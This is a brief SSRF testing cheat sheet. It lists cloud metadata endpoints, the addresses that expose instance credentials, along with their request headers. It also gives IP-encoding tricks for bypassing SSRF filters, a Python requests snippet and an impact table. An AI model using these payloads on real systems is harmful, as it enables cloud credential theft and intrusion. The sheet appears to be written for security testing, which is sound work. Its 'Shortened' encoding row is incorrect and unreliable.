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API Reference: SSRF Vulnerability Testing

Cloud Metadata Endpoints

Cloud URL Headers
AWS IMDSv1 http://169.254.169.254/latest/meta-data/ None
AWS IMDSv2 http://169.254.169.254/latest/api/token X-aws-ec2-metadata-token-ttl-seconds: 21600
GCP http://metadata.google.internal/computeMetadata/v1/ Metadata-Flavor: Google
Azure http://169.254.169.254/metadata/instance?api-version=2021-02-01 Metadata: true

IP Encoding Bypass Techniques

Technique 169.254.169.254 Encoded
Decimal 2852039166
Hex 0xa9fea9fe
Octal 0251.0376.0251.0376
IPv6 mapped [::ffff:169.254.169.254]
Shortened 169.254.169.254 -> 0 (localhost)

Python requests

import requests
resp = requests.get(url, timeout=10, allow_redirects=False, verify=False)
resp.status_code   # HTTP status
resp.text          # Response body
len(resp.content)  # Response size
resp.headers       # Response headers

SSRF Impact Levels

Access Impact Severity
Cloud metadata credentials Full account compromise Critical
Internal service access Lateral movement High
Local file read (file://) Information disclosure High
Internal port scan Reconnaissance Medium

MITRE ATT&CK

  • T1190 - Exploit Public-Facing Application
  • T1552.005 - Cloud Instance Metadata API